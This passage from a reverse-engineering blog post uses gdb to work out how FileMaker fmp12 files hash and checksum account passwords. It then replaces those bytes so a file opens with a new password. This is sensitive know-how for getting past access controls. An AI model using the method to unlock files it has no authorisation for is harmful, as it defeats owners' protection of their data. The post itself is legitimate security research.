&lt;p&gt;I guess that&amp;rsquo;s what you get when you change stuff without really knowing what&amp;rsquo;s up :-)&lt;/p&gt;
&lt;h2 id="lessons-learned-so-far"&gt;Lessons learned so far&lt;/h2&gt;
&lt;p&gt;We might not have succeeded yet, but the failures and observations gave us new insight:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we modify an account name, we get a tamper alert&lt;/li&gt;
&lt;li&gt;If we modify any of the potential hashes nearby, we get a tamper alert&lt;/li&gt;
&lt;li&gt;If we modify a buch of other stuff in the file, we get a tamper alert&lt;/li&gt;
&lt;li&gt;Given the above points, we can assume that there&amp;rsquo;s likely a checksum of all the account information&lt;/li&gt;
&lt;li&gt;We learned that accounts generally have the same parent path &lt;code&gt;23.1.5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We learned that the 16-byte value at key &lt;code&gt;0x04&lt;/code&gt; has a fixed length and changes when the password is changed&lt;/li&gt;
&lt;li&gt;We learned that the 59-byte value at key &lt;code&gt;0x06&lt;/code&gt; has a variable length and changes when the password is changed (with the exception of the first byte, which is always &lt;code&gt;0x01&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="time-for-some-debugging"&gt;Time for some debugging&lt;/h2&gt;
&lt;p&gt;It seems, to make progress, we have to see what is actually going on (what algorithm is used? is there a salt value? &amp;hellip;) in a program that can read fmp12 files.&lt;/p&gt;
&lt;p&gt;As explained in last year&amp;rsquo;s post about deciphering the &lt;a href="https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/"&gt;FileMaker keystore&lt;/a&gt;, the easiest way to find a starting point of where to look inside the program is to dump the symbol table and then set breakpoints at interesting locations of the program.&lt;/p&gt;
&lt;p&gt;We will use &lt;code&gt;gdb&lt;/code&gt; as the debugger and the &lt;code&gt;FMDataMigration&lt;/code&gt; tool as the target. Being able to pass an account name and password directly on the command line is more convenient than debugging a UI application (FileMaker Pro).&lt;/p&gt;
&lt;p&gt;As target for the migration tool we choose any sample file of which we know the account and password. Launching the debugger could look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gdb --args FMDataMigration -src_path /path/to/source/test.fmp12 -src_account Admin -src_pwd whatever -clone_path /path/to/clone/test\ Clone.fmp12 -clone_account Admin -clone_pwd whatever -target_path /path/to/migrated/test.fmp12 -force
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that we pass &lt;code&gt;Admin&lt;/code&gt; as account name, and &lt;code&gt;whatever&lt;/code&gt; as password.&lt;/p&gt;
&lt;h2 id="figuring-out-the-password-hash"&gt;Figuring out the password hash&lt;/h2&gt;
&lt;p&gt;Looking at the known function names (dumping symbols), we can note down everything that could be related to password hashing/reading/writing, then set breakpoints at these locations.&lt;/p&gt;
&lt;p&gt;One very obvious function to start with is &lt;code&gt;Draco::PasswordHash::ComputePasswordHash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can set a breakpoint, then (for every call) look up the arguments passed to the function and then see if we can make sense of any of them (for example, if the values also show up in the fmp12 file).&lt;/p&gt;
&lt;p&gt;I debugged the application on a Linux machine on x86_64, so based on the &lt;a href="https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf"&gt;calling conventions&lt;/a&gt; the first arguments are generally passed in registers &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="values-passed-to-computepasswordhash"&gt;Values passed to ComputePasswordHash&lt;/h3&gt;
&lt;p&gt;Once a breakpoint has been triggered, we can look at the register values:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg

rcx 0x7ffff75529e0 # static known string (starts with &amp;#34;File&amp;#34; :-))

rdx 0xa # length of value of address pointed to by rsi (10 bytes)

rsi 0x7fffffffa0d9 # points to value we saw at path 23.1.5.2.6
 # 01===&amp;gt;0472b2e83c04a8bd2bfe&amp;lt;===3cbc1f..8efe9a8392a50e713f

rdi 0x7fffffffb2c0 # points to pointer where given password is stored
 # (char16, 2-byte chars)

r8 0x1e # length of value in rcx (30 bytes)

r9 0x1 # value of 1

+ some values on the stack
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As commented above, we see several interesting values. &lt;code&gt;rdi&lt;/code&gt; points to the password we passed in as command line argument (as 16-bit characters). &lt;code&gt;rsi&lt;/code&gt; points to a part of the 59-byte value previously seen in the file at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;. Assuming the next argument (&lt;code&gt;rdx&lt;/code&gt;) is the length, we can read 10 bytes from &lt;code&gt;rsi&lt;/code&gt; and get &lt;code&gt;0472b2e83c04a8bd2bfe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rcx&lt;/code&gt; points to a constant string which starts with &lt;code&gt;File&lt;/code&gt; (hint, hint), but has a length of 30 bytes (&lt;code&gt;r8&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;r9&lt;/code&gt; contains &lt;code&gt;0x01&lt;/code&gt; which may or may not be relevant to what we are trying to find out. We note it down in any case.&lt;/p&gt;
&lt;h3 id="what-do-we-know-so-far"&gt;What do we know so far?&lt;/h3&gt;
&lt;p&gt;While not certain, we can make an assumption that the first 10 bytes after the &lt;code&gt;0x01&lt;/code&gt; is the salt value (as storing it next to a password hash would make sense). To clarify, looking at the 59-byte byte-sequence from above, the 10-bytes are these:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 --&amp;gt; 0472b2e83c04a8bd2bfe &amp;lt;-- 3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have discovered a 30-byte constant value that seems to be somehow incorporated into the password hash computation (an assumption made based on the passed values).&lt;/p&gt;
&lt;p&gt;We have also discovered a constant value of &lt;code&gt;0x01&lt;/code&gt; which might be relevant to the hash.&lt;/p&gt;
&lt;p&gt;And we have found out that the clear password which we pass on the command line ends up being passed to the &lt;code&gt;ComputePasswordHash&lt;/code&gt; function as well.&lt;/p&gt;
&lt;h3 id="digging-deeper"&gt;Digging deeper&lt;/h3&gt;
&lt;p&gt;We know the input to the function. But what exactly happens &lt;em&gt;within&lt;/em&gt; it?&lt;/p&gt;
&lt;p&gt;To figure this out let&amp;rsquo;s have a closer look at one of the loops in that function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]
0x00007ffff4c328f4 &amp;lt;+132&amp;gt;: div %r13d
0x00007ffff4c328f7 &amp;lt;+135&amp;gt;: movzbl (%r14,%rdx,1),%ebx
0x00007ffff4c328fc &amp;lt;+140&amp;gt;: shl $0x8,%ebx
0x00007ffff4c328ff &amp;lt;+143&amp;gt;: lea 0x1(%rcx),%eax
0x00007ffff4c32902 &amp;lt;+146&amp;gt;: xor %edx,%edx
0x00007ffff4c32904 &amp;lt;+148&amp;gt;: div %r13d
0x00007ffff4c32907 &amp;lt;+151&amp;gt;: movzbl (%r14,%rdx,1),%eax
0x00007ffff4c3290c &amp;lt;+156&amp;gt;: or %ebx,%eax
 ===&amp;gt; 0x00007ffff4c3290e &amp;lt;+158&amp;gt;: xor (%rdi,%rbp,2),%ax &amp;lt;===
0x00007ffff4c32912 &amp;lt;+162&amp;gt;: rol $0x8,%ax
0x00007ffff4c32916 &amp;lt;+166&amp;gt;: mov %ax,(%rdi,%rbp,2)
0x00007ffff4c3291a &amp;lt;+170&amp;gt;: add $0x2,%ecx
0x00007ffff4c3291d &amp;lt;+173&amp;gt;: mov %esi,%ebp
0x00007ffff4c3291f &amp;lt;+175&amp;gt;: add $0x1,%esi
0x00007ffff4c32922 &amp;lt;+178&amp;gt;: cmp %rbp,%r9
0x00007ffff4c32925 &amp;lt;+181&amp;gt;: ja 0x7ffff4c328f0
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking at the assembly code, we can identify an XOR operation (shown with arrows above) with two 16-bit values. Calculating both the effective memory address and looking up the value in &lt;code&gt;ax&lt;/code&gt; (lower 16 bits of &lt;code&gt;rax&lt;/code&gt;), we can see that in the first iteration the values are &lt;code&gt;0x77 0x00&lt;/code&gt; (little endian) and &lt;code&gt;0x46 0x69&lt;/code&gt;, respectively.&lt;/p&gt;
&lt;p&gt;Looking up the ASCII character for &lt;code&gt;0x0077&lt;/code&gt;, we can identify it as &lt;code&gt;w&lt;/code&gt; – the first character (zero-extended to 16-bits) of our &lt;code&gt;whatever&lt;/code&gt; password.&lt;/p&gt;
&lt;p&gt;Doing the same for &lt;code&gt;0x46&lt;/code&gt; and &lt;code&gt;0x69&lt;/code&gt;, we arrive at &lt;code&gt;Fi&lt;/code&gt;, the first two characters (1 byte each, so also 2 bytes/16-bits) of the constant string we saw earlier.&lt;/p&gt;
&lt;p&gt;The result of the XOR operation is thus &lt;code&gt;0x0077 ^ 0x4669 = 0x461e&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Continuing for the whole length of the password, we arrive at a new sequence of bytes that we note down for later.&lt;/p&gt;
&lt;h3 id="looking-at-additional-calls"&gt;Looking at additional calls&lt;/h3&gt;
&lt;p&gt;Inspecting the function further we see two interesting calls:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; ===&amp;gt; 0x00007ffff4c3294e &amp;lt;+222&amp;gt;: callq 0x7ffff4c08b30 &amp;lt;EVP_sha1@plt&amp;gt; &amp;lt;===
0x00007ffff4c32953 &amp;lt;+227&amp;gt;: mov 0x70(%rsp),%rbp
0x00007ffff4c32958 &amp;lt;+232&amp;gt;: mov 0x10(%rsp),%rdi
0x00007ffff4c3295d &amp;lt;+237&amp;gt;: mov 0x18(%rsp),%esi
0x00007ffff4c32961 &amp;lt;+241&amp;gt;: add %esi,%esi
0x00007ffff4c32963 &amp;lt;+243&amp;gt;: mov 0x8(%rbp),%ebx
0x00007ffff4c32966 &amp;lt;+246&amp;gt;: mov %r12,%rdx
0x00007ffff4c32969 &amp;lt;+249&amp;gt;: mov %r15d,%ecx
0x00007ffff4c3296c &amp;lt;+252&amp;gt;: mov 0xc(%rsp),%r8d
0x00007ffff4c32971 &amp;lt;+257&amp;gt;: mov %rax,%r9
0x00007ffff4c32974 &amp;lt;+260&amp;gt;: pushq 0x0(%rbp)
0x00007ffff4c32977 &amp;lt;+263&amp;gt;: push %rbx
 ===&amp;gt; 0x00007ffff4c32978 &amp;lt;+264&amp;gt;: callq 0x7ffff4c087e0 &amp;lt;PKCS5_PBKDF2_HMAC@plt&amp;gt; &amp;lt;===
0x00007ffff4c3297d &amp;lt;+269&amp;gt;: add $0x10,%rsp
0x00007ffff4c32981 &amp;lt;+273&amp;gt;: mov 0x10(%rsp),%rdi
0x00007ffff4c32986 &amp;lt;+278&amp;gt;: lea 0x20(%rsp),%rax
0x00007ffff4c3298b &amp;lt;+283&amp;gt;: cmp %rax,%rdi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The two highlighted functions are from the OpenSSL library.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.openssl.org/docs/man1.1.1/man3/EVP_sha1.html"&gt;EVP_sha1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.openssl.org/docs/manmaster/man3/PKCS5_PBKDF2_HMAC.html"&gt;PKCS5_PBKDF2_HMAC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the library is open source, we can look up code and documentation and know for sure what arguments are expected to be passed to these functions.&lt;/p&gt;
&lt;p&gt;So just like before, we can set a breakpoint at the key derivation function PBKDF2 (explained in more detail &lt;a href="https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/"&gt;in my other post&lt;/a&gt;) and look at the registers again to see what values are being passed.&lt;/p&gt;
&lt;p&gt;This is the function signature:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 const EVP_MD *digest,
 int keylen, unsigned char *out);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And these are the register values when calling the function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg
rax 0x7ffff34b47e0 140737275185120
rbx 0x14 20
rcx 0xa # length of salt (10 bytes)
rdx 0x7fffffffa0d9 # points to 10 byte (rcx) salt (now confirmed) 0x04 0x72 ... (x/10xb $rdx)
rsi 0x10 # length of xored password (16 bytes)
rdi 0x60a38220 # points to 16 (rsi) bytes of XORed password 0x46 0x1e ... (x/16xb $rdi)
rbp 0x7fffffffa350 0x7fffffffa350
rsp 0x7fffffffa038 0x7fffffffa038
r8 0x1 # the value of 1 seen before, the iteration count
r9 0x7ffff34b47e0 # points to SHA1 context

On stack: keylen of 20 and address for out
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I commented each relevant register value above. To summarize it again:&lt;/p&gt;
&lt;p&gt;We pass in our XORed password (&lt;code&gt;rdi&lt;/code&gt;) from above. The value for the &lt;code&gt;salt&lt;/code&gt; argument (&lt;code&gt;rdx&lt;/code&gt;) is the 10 bytes we identified earlier (so it&amp;rsquo;s now confirmed that it indeed is a salt value), an iteration count (&lt;code&gt;r8&lt;/code&gt;) of 1 (the &lt;code&gt;0x01&lt;/code&gt; value we saw earlier), and a pointer to the SHA1 hashing function (&lt;code&gt;r9&lt;/code&gt;) (we saw it being initialized above). Additionally, a desired key length of 20 and an address for the output is passed.&lt;/p&gt;
&lt;p&gt;Letting this function run and observing the result written to &lt;code&gt;*out&lt;/code&gt; we can see that it is exactly the 20 bytes after the previously identified salt value in the 59-byte long sequence of bytes at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="summary-so-far"&gt;Summary so far&lt;/h3&gt;
&lt;p&gt;Of the value at &lt;code&gt;23.1.5.2.6&lt;/code&gt; we now know the following components:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--&amp;gt; Still unknwon
| | +--&amp;gt; The 20-byte derived key / password hash
| +--&amp;gt; The 10-byte salt value
+--&amp;gt; Always 1; we could assume that this is some sort of version number, in case the algorithm changes in the future
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To arrive at this result, we saw that we have to have the password (&lt;code&gt;char16&lt;/code&gt;), a salt and a fixed value.&lt;/p&gt;
&lt;p&gt;In a loop, we XOR the password with the fixed value.&lt;/p&gt;
&lt;p&gt;We then feed the XOR result into &lt;code&gt;PBKDF2&lt;/code&gt; with a &lt;code&gt;SHA1&lt;/code&gt; digest function.&lt;/p&gt;
&lt;p&gt;And out comes the hash that is being stored in the fmp12 file.&lt;/p&gt;
&lt;h2 id="figuring-out-the-variable-length-checksum"&gt;Figuring out the variable-length &amp;ldquo;checksum&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;So what is the still unknown part of this 59-byte sequence? And why does it change in length every time we change a password?&lt;/p&gt;
&lt;p&gt;To figure this out, we have dig into another function called &lt;code&gt;Draco::DBPassword::Read&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]
0x00007ffff5e61aeb &amp;lt;+459&amp;gt;: mov $0x1,%edx
0x00007ffff5e61af0 &amp;lt;+464&amp;gt;: movzbl 0x1a(%rsp,%rdx,1),%ebx
 ===&amp;gt; 0x00007ffff5e61af5 &amp;lt;+469&amp;gt;: xor 0x10(%rsp,%rdx,1),%bl &amp;lt;===
0x00007ffff5e61af9 &amp;lt;+473&amp;gt;: movzbl 0x2e(%rsp,%rdx,1),%ecx
0x00007ffff5e61afe &amp;lt;+478&amp;gt;: cmp %bl,%cl
0x00007ffff5e61b00 &amp;lt;+480&amp;gt;: sete %al
0x00007ffff5e61b03 &amp;lt;+483&amp;gt;: cmp %rsi,%rdx
0x00007ffff5e61b06 &amp;lt;+486&amp;gt;: jae 0x7ffff5e61b14
0x00007ffff5e61b08 &amp;lt;+488&amp;gt;: add $0x1,%rdx
 ===&amp;gt; 0x00007ffff5e61b0c &amp;lt;+492&amp;gt;: cmp %bl,%cl &amp;lt;===
0x00007ffff5e61b0e &amp;lt;+494&amp;gt;: je 0x7ffff5e61af0
0x00007ffff5e61b10 &amp;lt;+496&amp;gt;: jmp 0x7ffff5e61b14
0x00007ffff5e61b12 &amp;lt;+498&amp;gt;: and %cl,%al
0x00007ffff5e61b14 &amp;lt;+500&amp;gt;: test %al,%al
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we see again a XOR operation in a loop. And if we look at the values in memory and the register for each iteration, we will find that each byte of the password hash is XORed with each byte of the salt value.&lt;/p&gt;
&lt;p&gt;Looking at the result, we see that it matches the previously unknown remainder of the 59-byte sequence mentioned earlier.&lt;/p&gt;
&lt;p&gt;We also see that every &lt;strong&gt;computed&lt;/strong&gt; byte (XOR result) is compared to the &lt;strong&gt;stored&lt;/strong&gt; byte – so any variation between stored and computed will likely trigger the tamper alert.&lt;/p&gt;
&lt;p&gt;Visualizing the first few operations of this loop:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 | | | | | | ^ ^ ^
 | | | | | | | | |
 | | | | | | | | |
 | | | | | | | | |
 | | | v | | | | |
 +-|-|---&amp;gt; xor(0x04, 0x3c) = 0x38 ---------------------------+ | |
 | | | | | |
 | | v | | |
 +-|-----&amp;gt; xor(0x72, 0xbc) = 0xce ---------------------------+ |
 | | |
 | v |
 +-------&amp;gt; xor(0xb2, 0x1f) = 0xad ---------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You might be wondering how you can XOR salt and password if they differ in length. What actually happens is XOR(salt + password, password), with the password being extended by the XOR result as the loop progresses.&lt;/p&gt;
&lt;h3 id="why-variable-length"&gt;Why variable length?&lt;/h3&gt;
&lt;p&gt;What we don&amp;rsquo;t yet understand is why the XOR byte-sequence has a variable length, i.e. is often truncated.&lt;/p&gt;
&lt;p&gt;The answer is to be found in yet another function: &lt;code&gt;Draco::DBUserAccount::MatchPasswordData&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Setting a breakpoint, running the program and taking a closer look, we can see the following instructions:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x00007ffff5e63901 &amp;lt;+225&amp;gt;: movzbl 0x28c(%rsp),%esi
0x00007ffff5e63909 &amp;lt;+233&amp;gt;: and $0x1f,%esi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By calculating the effective memory address and inspecting the source of the value being moved into &lt;code&gt;esi&lt;/code&gt;, we can observe that it always takes the second byte of the password hash:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 |
 +--&amp;gt; 0xbc is the second byte of the password hash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What follows is a bitwise AND instruction with inputs &lt;code&gt;0x1f&lt;/code&gt; and the value in &lt;code&gt;esi&lt;/code&gt; (&lt;code&gt;0xbc&lt;/code&gt; in this case).&lt;/p&gt;
&lt;p&gt;The bitwise AND operation performs a logical AND on every bit-pair of the two input bytes. If both values of a pair are &lt;code&gt;1&lt;/code&gt;, the result is &lt;code&gt;1&lt;/code&gt;, otherwise &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; 00011111 &amp;lt;=== 0x1f
AND 10111100 &amp;lt;=== 0xbc
 --------
 00011100 = 0x1c = 28
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If &lt;code&gt;0x1f&lt;/code&gt; is fixed, the largest value that can come out of this is &lt;code&gt;0x1f&lt;/code&gt;, or 31, itself.&lt;/p&gt;
&lt;p&gt;But what do we do with this value? It turns out that it is used to truncate our XOR &amp;ldquo;checksum&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;So in our case with the second byte of the password hash being &lt;code&gt;0xbc&lt;/code&gt;, we would have a &lt;code&gt;0x1c&lt;/code&gt;, or 28 byte long checksum at the end:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--&amp;gt; 28 bytes
| | +--&amp;gt; 20 bytes
| +--&amp;gt; 10 bytes
+--&amp;gt; 1 byte
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now the big question is: Knowing all the components in this 59-byte sequence at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;, can we generate a new salt, compute the derived key/hash, and XOR checksum from a new password of our choice, insert it back into the file, and then open the file using the chosen password?&lt;/p&gt;
&lt;p&gt;It could work (based on our assumptions so far). Before we try it out, though, we have to account for one more thing.&lt;/p&gt;
&lt;p&gt;If we choose a new password with the same or different salt value, we will most-likely have a different length XOR checksum at the end. This means, we would need to re-align the block (filling it up with NOPs or null-bytes won&amp;rsquo;t work).&lt;/p&gt;
&lt;p&gt;Since this can get complicated, we can use a small trick: we just brute-force a new salt-value which – combined with the password – leads to a &lt;code&gt;0xbc&lt;/code&gt; in the second byte of the SHA-1 hash. This way, the length of the XOR checksum at the end will stay the same and we replace the 59 bytes exactly with another 59-byte long sequence.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s insert the new value, and try to open the file again:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tamper alert" loading="lazy" src="https://davidhamann.de/images/tamper-alert.png"&gt;&lt;/p&gt;
&lt;p&gt;Oooops! :-) Still not working.&lt;/p&gt;
&lt;h2 id="figuring-out-the-account-checksum"&gt;Figuring out the account checksum&lt;/h2&gt;
&lt;p&gt;Our failure implicitly gave us another hint: there must be another piece of data which also takes the salt and password into consideration – otherwise our little replacement from above would be impossible to be detected as tampering.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s go back to the beginning and have another look at the account section that we parsed out earlier:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==&amp;gt; 05407cdc76b7f1fd29ac5a9c791af6b8 &amp;lt;=== remember this?

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==&amp;gt; 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==&amp;gt; 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==&amp;gt; 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==&amp;gt; 1b3e373334 ===&amp;gt; (&amp;#34;Admin&amp;#34; XORed with 0x5a)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We saw this fixed-size 16-byte long &amp;ldquo;hash-like&amp;rdquo; looking sequence of bytes with key &lt;code&gt;0x04&lt;/code&gt;. We previously made the assumption that it could be an MD5 hash (given the length). We also observed that it always completely changes with every change made to the account (changing password, account name, privilege set, etc.).&lt;/p&gt;
&lt;p&gt;Hunting for more functions, we eventually see that &lt;code&gt;Draco::DBUserAccount::ComputeCRC&lt;/code&gt; is called for every account in the file (you could have also seen that &lt;code&gt;ComputeCRC&lt;/code&gt; is on the callstack for some of the other password related functions; &lt;code&gt;info stack&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;So if we break at the n-th call to the function, where n is the position of the account, we can continue our investigation.&lt;/p&gt;
&lt;p&gt;Getting a first overview of the assembly instructions, it stands out that we have a lot of calls to another function, &lt;code&gt;Draco::CRCContext::Update&lt;/code&gt;, which in turn calls OpenSSL&amp;rsquo;s &lt;code&gt;MD5_Update&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;Debugging functions for which we have documentation and code is always easier. So why don&amp;rsquo;t we break at every call to &lt;code&gt;MD5_Update&lt;/code&gt; until we have a &lt;code&gt;MD5_Final&lt;/code&gt; call which finalizes the checksum?&lt;/p&gt;
&lt;p&gt;The strategy is the same as before: pause the program when the function is called, then look at the passed values. For OpenSSL&amp;rsquo;s &lt;code&gt;MD5_Update&lt;/code&gt; function we even know the signature, which makes things easier: &lt;code&gt;int MD5_Update(MD5_CTX *c, const void *data, unsigned long len);&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So what&amp;rsquo;s in the registers when the function is called?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg
rax 0x7fffffffa880 140737488332928
rbx 0x7fffffffa890 140737488332944
rcx 0x1 1
rdx 0x10 16
rsi 0x7fffffffa880 140737488332928
rdi 0x60a37dd0 1621327312
rbp 0x0 0x0
rsp 0x7fffffffa868 0x7fffffffa868
r8 0x0 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;rdi&lt;/code&gt; has the MD5 context, which we can ignore for now. &lt;code&gt;rsi&lt;/code&gt; contains a pointer to the data to be included in the hash, and &lt;code&gt;rdx&lt;/code&gt; contains its length.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/16xb $rsi
0x7fffffffa880: 0x44 0x8f 0x00 0x0b 0x21 0xe9 0x41 0x2b
0x7fffffffa888: 0xa5 0x9c 0x8c 0x5f 0xd9 0x68 0x13 0xdb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While we don&amp;rsquo;t know what this sequence of bytes represents, we can just note it down and continue to the next call until the MD5 hash is finalized.&lt;/p&gt;
&lt;p&gt;Eventually, we have all inputs to the MD5 hash and can also re-create it in a program of our own. It turns out, when computed again, the hash exactly matches the value stored at &lt;code&gt;23.1.5.2.4&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But how would we re-compute this without seeing the values from the debugger? For most values that are an input to the hash function, this is relatively easy: you can search for the value in the fmp12 file and note down its path (given it has an adequate length to be unique-ish in the file).&lt;/p&gt;
&lt;p&gt;To find the value for a different file, you could just look up the value at the same path again. And if all fails, you could of course also run the debugger again to get to these values.&lt;/p&gt;
&lt;h2 id="do-we-have-it-now"&gt;Do we have it now?&lt;/h2&gt;
&lt;p&gt;Since we can now freely re-compute the values at &lt;code&gt;23.1.5.2.4&lt;/code&gt; and &lt;code&gt;23.1.5.2.6&lt;/code&gt;, is it enough to replace the two byte-sequences in a file to open it with a new password?&lt;/p&gt;
&lt;p&gt;&lt;img alt="FileMaker login" loading="lazy" src="https://davidhamann.de/images/fm-login.png"&gt;&lt;/p&gt;
&lt;p&gt;We enter our new password, and voilà: we&amp;rsquo;re in :-)&lt;/p&gt;
&lt;h2 id="additional-info-and-caveats"&gt;Additional info and caveats&lt;/h2&gt;
&lt;p&gt;A few important things to note and to answer some questions that came up during my talk:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FileMaker&amp;rsquo;s Encryption at Rest feature protects you exactly from this (as long as you keep your passphrase secret)&lt;/li&gt;
&lt;li&gt;There are and will always be undocumented byte-codes as the specification is not open. In this case you either need to figure out what the byte-code does or you can decide to skip the rest of the payload and jump to the next block. If you are only interested in the account/password information, this is usually not a problem as long as the unknown code(s) don&amp;rsquo;t appear in exactly the block containing the account information.&lt;/li&gt;
&lt;li&gt;Some components that go into the MD5 hash are semantically unclear (to me). In most cases you can just copy the value from the file (if at a known path). If this doesn&amp;rsquo;t work, you can always get them via the debugger.&lt;/li&gt;
&lt;li&gt;If all &lt;code&gt;[Full Access]&lt;/code&gt; accounts / the privilege set have been removed from the file and you want to add back such an account, you will need to figure out a lot more than described above. While theoretically possible, it&amp;rsquo;s probably hard work (need to add back the privilege set, a new account, re-align the blocks, etc.).&lt;/li&gt;
&lt;li&gt;Note that you &lt;strong&gt;don&amp;rsquo;t&lt;/strong&gt; need an account/password if you just want to get a specific piece of data from a file. You can just parse the file as described above and get/export it this way.&lt;/li&gt;
&lt;li&gt;Is the file integrity still intact after replacing the hashes? From what I can tell, yes. You can also run a recovery on the file afterwards and it doesn&amp;rsquo;t flag the changed block as &amp;ldquo;bad&amp;rdquo;. However, there&amp;rsquo;s obviously no guarantee as there&amp;rsquo;s no official documentation. Changing a password the &amp;ldquo;normal&amp;rdquo; way does a bit more to the file, but I don&amp;rsquo;t think the other changes are particularly relevant (more like modification counts, etc.).&lt;/li&gt;
&lt;li&gt;What do the commercial password reset tools do? I don&amp;rsquo;t have any of those tools, but someone provided me with two fmp12 files; one original and one created using the &amp;ldquo;Passware&amp;rdquo; recovery tool. The only difference between the provided files was in the two mentioned paths. So they do exactly the same thing as described in this post.&lt;/li&gt;
&lt;li&gt;Is this a vulnerability in FileMaker? No, I don&amp;rsquo;t consider the possibility of resetting a password in a local unencrypted file to be a vulnerability, so nothing was reported.&lt;/li&gt;
